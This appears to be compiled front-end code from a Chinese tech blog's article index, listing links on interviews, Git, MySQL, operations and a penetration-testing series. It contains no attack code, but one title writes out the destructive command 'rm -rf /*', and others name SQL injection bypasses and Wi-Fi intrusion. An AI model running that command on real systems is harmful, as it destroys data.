noreferrer"}},[e._v("面试官灵魂拷问:if语句执行完else语句真的不会再执行吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489239&idx=1&sn=2c7c85b1145e59a39fba173398254337&chksm=cf55a1d6f82228c044066ff1910b1425719c06c3a0f3d25d7723f27b101e8c636efde4a75220&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("将 95% 求职者拒之门外的BAT大数据面试题-附解题方法(文末有福利)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489230&idx=1&sn=9b4e0b7b9f49f298e681be3dce108d80&chksm=cf55a1cff82228d9f3369d2706fda98eda41d093827819816463cc4f540ea9954fa31a1d7039&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("超硬核面经,已拿蚂蚁金服Offer!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489220&idx=1&sn=c939b92646054d25d3c8bc9146e3f7ff&chksm=cf55a1c5f82228d3d2c61f289f312bdb31a0f81475112f83413f41d1fe0f51535af986215239&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:数据库中事务的隔离级别有哪些?各自有什么特点?然而。。。"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489193&idx=1&sn=6d8912a62f5fd09c85a3d44a189e7ef9&chksm=cf55a1a8f82228be7c76699df36377e57347249e1d15b48bad9ef15f2497e9254a36b8d24bad&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲什么是缓存穿透?击穿?雪崩?如何解决?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489191&idx=1&sn=77c3ac60313a2e54e4cb719264f02cb4&chksm=cf55a1a6f82228b0094495740752f02e0614ba35bf543ad06b89873f6bce461f9a5d46b485a6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:Java中提供了synchronized,为什么还要提供Lock呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489190&idx=1&sn=f47f87c1784664a23eff41b5bbc854d7&chksm=cf55a1a7f82228b1dac0635e31fde41f63cb884456d63422dc845cbe3e7982a2868df744d6a1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:说说缓存最关心的问题?有哪些类型?回收策略和算法?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489181&idx=1&sn=aa1928a2d4d6280aa961bfca16da3afb&chksm=cf55a19cf822288a9af29aba1ae321ce74ae0342217270a630dee94503d5bf47b44a082aa0de&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲Redis的五大数据类型?如何使用?(内含完整测试源码)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489148&idx=1&sn=76b7af63c8fdee5eaecd0a09c5988674&chksm=cf55a17df822286b46a67510ccce04c12c0eba5de2ac473213669f48feb5cd63ba282ab4713f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("今天又一名读者斩获蚂蚁金服Offer,就是这么简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489146&idx=1&sn=44d502461973c72a418d5597fc9c434b&chksm=cf55a17bf822286d5daf2f7fea9832254d34830df067ef2fff588eadf68151b3e79097a8613f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲七层网络模型与TCP三次握手与四次断开?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489136&idx=1&sn=2fd7d6136c7075cfc38d6286c3ef074c&chksm=cf55a171f8222867d407c6f34ff350c3879fa04f28271bb9525fcdbfe103e6ca58a73bf20733&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:如果让你设计一个高并发的消息中间件,你会怎么做?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489135&idx=1&sn=321c7121c31cb6cc327bdfc525b88743&chksm=cf55a16ef82228784a74be63c0068875012abf0b2cf969481a86386c9cd3e0fc6e18911500b6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲类的加载、链接和初始化?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489134&idx=1&sn=fa59dc70f8060a4670bdc5a2630e701f&chksm=cf55a16ff82228791e033427d673895e9a1699ac67983b18da6735a261d58a4695aa97163423&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:做过性能优化的工作吗?你会从哪些方面入手做性能优化呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489133&idx=1&sn=434ca533aee95e2a0e4307f4f5f48345&chksm=cf55a16cf822287af928ff88aed8826a5e3bad5fb51744a539e29733f867ad3abb48cbcd6948&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:如何以最高的效率从MySQL中随机查询一条记录?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489131&idx=1&sn=3d3ae1ddcb6f22125b25de0b8e54a5f2&chksm=cf55a16af822287c40c3e74de15a714b816a2a3ffd9c1ca40e2a70937f817bf6622e810497a2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲Redis的虚拟内存?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"互联网工程"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#互联网工程"}},[e._v("#")]),e._v(" 互联网工程")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497828&idx=1&sn=ec7fabe90450e28f647d2ad964e89bd7&chksm=cf564f65f821c673febc888dfc457e4ac145b36006a7a88cb265ac6b500a71d7f414809172d3&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河亲自整理的Git命令汇总(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489163&idx=1&sn=38a317b2e6de99c4f10b5a80df153bd4&chksm=cf55a18af822289c6595fc37674bf1f9188521c1de760cd8cf4801bc716aa974847d79509e24&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("十一长假我肝了这本超硬核PDF,现决定开源!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489192&idx=1&sn=1f793496fa2d6eb75559c9eedb4fece5&chksm=cf55a1a9f82228bf9828af75a8765f5cd76baf0beb2fc8078d4994ec9373e856f5f157af50b8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为什么互联网巨头们纷纷使用Git而放弃SVN?(内含Git核心命令与原理总结)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489186&idx=1&sn=fe9e55a4f6d78b5ffc95a166070196d3&chksm=cf55a1a3f82228b590f4aa712435acf65d7340ba762a0f840890ad11db804b3692d94fd80a48&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我搭建了一套企业级私有Git服务,抗住了每天上万次攻击!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489169&idx=1&sn=496d477dc668c04c2e84f5f918bf1ebb&chksm=cf55a190f82228860b6516857486b23107d895be452f35da3abeba4ef1acd05805aba5a17c29&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用Maven那么久了,你对企业级Maven的核心配置了解多少?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489168&idx=1&sn=17983641eb3efc819e8d8314d1b7ecce&chksm=cf55a191f822288727c44cb457c90749494492e5626a71bc23e193b20c44838f6c19c9dce9a5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:开发过Maven插件吗?我:开发过啊。。。"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489167&idx=1&sn=86369b6a6e81c45ca2fb59f8f379e39c&chksm=cf55a18ef822289896820df6da422125a2f718433da8258f5cadec2122f6e64e1b38a81a5a98&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴问我:如何搭建Maven私服?我连夜肝了这篇实战文章!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489166&idx=1&sn=072f0a5324e99f3852ccbfc1b687208c&chksm=cf55a18ff82228994255c4e9abc4edee08cdb7e0343fc408eb7e415c02baedabdf9d13c3a9e0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴想学Jenkins自动构建发布项目,我:安排上了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497927&idx=1&sn=929bb03d1ffc8ec8cd4c38f56c7d7497&chksm=cf564fc6f821c6d0943f1bcfcd86724d1c3afc89249870ddc93fc450aa9020df89a81a15c5f5&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("搭建Maven私服(建议收藏)!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通渗透系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通渗透系列"}},[e._v("#")]),e._v(" 精通渗透系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496713&idx=1&sn=d81f0ee9625ee041ebfb0390ba35fbda&chksm=cf564308f821ca1e190ce11cee1725dbd3f1753f27c0f7f266d8633605318af8ee7759422f09&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("国庆第一天冰河在车上又肝了一本电子书!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494362&idx=1&sn=dcc2b6e9722afac2963929800578bbc3&chksm=cf565ddbf821d4cdc5551c60dadbd1ee87facb24844eaa994eb58a87e31477fe56a8c133bc74&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("黑客常用SQL注入绕过技术总结!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494015&idx=1&sn=b4e5c7fb01d6c6619e027a4546b72df2&chksm=cf565e7ef821d768ea6fd3bf3b9369df8934358838c9b12a662ad57c335ef8d5c6ce3b4ae690&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,冰河又写了一本电子书!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493194&idx=1&sn=62e3c40b2cf963c1a0b0bc531465249c&chksm=cf56514bf821d85d5f56f437de1911724b89efc324e334fb26c5e0b7fc1ea82f99a0da289ba8&token=447597716&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("《冰河的渗透实战笔记》电子书正式发布!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489208&idx=1&sn=5703e777f9aab5277ef840555f12421b&chksm=cf55a1b9f82228af92b558dfe44063ad4ba2622329737bb4be39597b673449af970b71ecf32c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我入侵了隔壁妹子的Wifi,发现。。。"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499927&idx=1&sn=69d8fd345b7f74abe492b40acedcc8b6&chksm=cf567796f821fe80d720b9ab0c7b8f4a953129e35ed01fa46f5fed230bdde77eb3054d3ffb3f&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("《冰河的渗透实战笔记》全网下载突破5W+"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247501317&idx=1&sn=7a7d41d95b4d705e3952008b3d96d9cc&chksm=cf567104f821f81279ea31bae4c38a1f78a7e2637560c4e5807592af3ba2ef91ec7e78240a24&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码,全网最全!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通大数据系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通大数据系列"}},[e._v("#")]),e._v(" 精通大数据系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492408&idx=1&sn=e5d8a1d3e8d4d28f836c11d631b66667&chksm=cf565439f821dd2fa002c09af2c2909e91dcf0e1917ca74e4bcf221530d99f246ec49bcaf5cb&token=78679959&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("极简介绍Zookeeper,我想跟你聊这些!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492272&idx=1&sn=39b21a0f0da6629c72bf50fb21f51479&chksm=cf5655b1f821dca776ab19af8b477bdf590005606742dc4df30d34921b1b05608cb54cc4ba72&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("精通Zookeeper系列开篇:进大厂不得不学的分布式协同利器!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通运维系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通运维系列"}},[e._v("#")]),e._v(" 精通运维系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495929&idx=1&sn=c776b5b315247bd41b3f506ba7d0d0d4&chksm=cf5647f8f821ceeef76c7f099afd46341e64f0f6bee4779a66b4b4786de869245b5c370d1c7d&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一周时间成功编译了Linux操作系统源码,快要裂开了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493167&idx=1&sn=0bb0055b6705becf7904bd5fd347a67f&chksm=cf56512ef821d83865cd13a5bbbdc5efba101c84d59aecbee6df0d0651d161e7c47b9163620e&token=447597716&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在服务器命令行输入rm -rf /* 究竟会发生什么?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492340&idx=1&sn=35464589fc36bf80e09231d5f08d351b&chksm=cf5655f5f821dce3015bc74fa28f55e2dac08fa3a24e4ce3a99eaebc28b3ad115371b35ba5ae&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我写了一个脚本,可在“任意”服务器上执行命令!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489137&idx=1&sn=95c8b1dffe0734c23a82105d38733eda&chksm=cf55a170f82228664eebe997563ada7a1fb413e42a7ab2ca9714bf79004537aa60f587a520fe&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何在服务器上添加虚拟IP?看完原来如此简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489463&idx=1&sn=77957646664d4c5c4cb86612810d9a1e&chksm=cf55a0b6f82229a05d2440353a436a8d6409b50a70db08fc83696d1bd4582b78d6f135c70189&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何在Linux操作系统上添加虚拟IP吗?这篇文章帮你搞定"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489454&idx=1&sn=137088bd11428158b3d6cd8317c350cf&chksm=cf55a0aff82229b9cbea3e88e3323b3515af3389da5b69940ff9b64476e363cfeff4729728e1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何在Linux服务器上挂载新硬盘吗?冰河为你揭开这个秘密"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"吃透mysql系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#吃透mysql系列"}},[e._v("#")]),e._v(" 吃透MySQL系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496625&idx=1&sn=244a98d5c672ffffe85bb17059f200aa&chksm=cf5644b0f821cda655977b9ad0ceb1cbd4296e2cd88c1fdd8d95e0b49819c0bb95fb1bd05ee9&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一招教你防止删库跑路!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500275&idx=1&sn=5cc8c5b914554fc5b635675a3013817c&chksm=cf5676f2f821ffe4bebd11f6645d48226274dc282860a3f4779aa5dbcff87524ae5fafa7eaa4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("基于MVCC,我用C++自己手撸了个MySQL!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496586&idx=2&sn=358d974f6a660d40263cd0d969f40570&chksm=cf56448bf821cd9dbbe948d795f634c0e5e2bc0fea1466d86d45d07b3afc5ffe4895d7f61afc&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("糟了,生产环境MySQL主从数据库不一致怎么办?!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496514&idx=1&sn=5af221bf9fb726e9efb9e436cf3092fa&chksm=cf564443f821cd55b8788dccfb3ff5d9d16d3d36de86c572f7b3b933454f7723ba86d16beaa3&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("实际案例:MySQL主键性能压测!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495115&idx=1&sn=d95725917c7ee850664e54ef0f3c4f66&chksm=cf565acaf821d3dc7ab3527b0ffe89e65e239b0d81a682de308a28b4d6789340cd243028ce2a&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("MySQL8索引篇:性能提升了100%!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492973&idx=1&sn=c397b6e5888bca04466843fdc2791b70&chksm=cf56526cf821db7a5b96ea223fe095fb44997d6f3f1c7e42a6d1396f7bcb62e4f2a39abd85b8&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,安装完MySQL竟然提示数据表不存在!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492818&idx=1&sn=f25ff876866929a84a2afc2464420fd1&chksm=cf5653d3f821dac563efbd2c97ed38b25872a7ce22056e31a023ff80ae8f4e64de08aeb84eb2&token=1574716246&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河视频聊架构:三分钟带你彻底掌握MySQL Undo Log和MVCC机制!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492253&idx=1&sn=6b943ad940c8db578fc0259b09c3d853&chksm=cf56559cf821dc8a4cd8bf87db9c5f615183e2f6ca4e7e20e043403880d89a0d2ceff7e575cf&token=154776380&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文搞懂select语句在MySQL中的执行流程!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492240&idx=1&sn=98995b9dc5b749ad285139d6e45c3a4b&chksm=cf565591f821dc87d4143d70bc1a28c0bd503322de0288387c4725c93229210a895a7fbdd7e9&token=154776380&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴们说要看MySQL体系架构的视频,我连夜整理出来了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490929&idx=1&sn=e8d98d0c9c357f32719af064b230cfa2&chksm=cf55aa70f8222366eea0a124adc70c5c2092c6e528414297f4b8e17deb6f3ebde56603154b41&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("MySQL优化思路"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491043&idx=1&sn=03edc8bad89bb5f6176f1b1fa6011f2e&chksm=cf55aae2f82223f4e2fe53a0a1c1e1a8a49d0cd069f53b1c7c9b00553b5f51b1e541426e79ef&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("业务高峰期不小心拔掉了服务器电源!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491060&idx=1&sn=2fd0339f2b915a6a1eb63938883b3c18&chksm=cf55aaf5f82223e35f04c043dabd7204c3593a70e4be209d9b8bb9bb0e05c2a13b5949fd6a87&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文搞懂MySQL体系架构!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491119&idx=1&sn=321d6b7adaa98b2039111b01fe3515c0&chksm=cf55a92ef82220381474e43cdfe5cf8ec070a13c2279475c9f1c0b4e9faae7fc841a24214257&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于MySQL日志,我与阿里P9都聊了些啥?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489326&idx=1&sn=dcef8d1cb8f73b1610ff283a2f9277d4&chksm=cf55a02ff82229396c0687786aa9f8fc0e955cee2def9b0e0c50404f307bf5a6c052061db0dc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次MySQL崩溃修复案例,再也不用删库跑路了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489238&idx=1&sn=ba8ae7148dbdaf055c3ab6a89dc416e9&chksm=cf55a1d7f82228c173cdd3b13612f713119467d6b0bf74f093b37132c85fca128a6c5deed16e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何最大程度防止人为误操作MySQL数据库?这次我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489225&idx=1&sn=f45605e2e24cbaf0ff35eda79f0620c9&chksm=cf55a1c8f82228deb4abba94e261e6ff04dcc014f66c2fd8e73e66213ff38ee62965abacb644&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次线上重大事故:二狗子竟然把线上数据库删了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489217&idx=1&sn=d4242cf147e077da15eb53ca0a63980b&chksm=cf55a1c0f82228d6b0ba820757acbf0156dc1b370d5ebb333ed1874448fd2253a0b84c9ef8c4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:MySQL如何实现无数据插入,有数据更新?我是这样回答的!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489207&idx=1&sn=dea22de9b4810b31e1836ec7f6153ccc&chksm=cf55a1b6f82228a0d952f1cb1500cf04949670beced0c05a54b0ca284ae8590de2577fd6fa99&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我这样分析MySQL中的事务,面试官对我刮目相看!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489183&idx=1&sn=a966df8e4a942154b677c7cd23cb16a4&chksm=cf55a19ef8222888ede8e67182c95960d0ae5e43c12b659424623a62633108801c7ae9958912&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何添加新数据库到MySQL主从复制环境?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489175&idx=1&sn=72a43c2f94dac0f482d811cb2e60e56c&chksm=cf55a196f8222880c8a115bd891552aa7dd6907051534af601850c9348d57e5df48b5f3694ef&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何查询和删除MySQL中重复的记录?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489153&idx=1&sn=6195de2d42d61499edc1953d595f07a3&chksm=cf55a180f822289613357b559b46788a3985a070f20a442ecedaaf34ff7b9c94b44aef9d578e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("怒肝两个月MySQL源码,我总结出这篇2W字的MySQL协议详解(超硬核干货)!!"),a("OutboundLink")],1)]),e._v(" 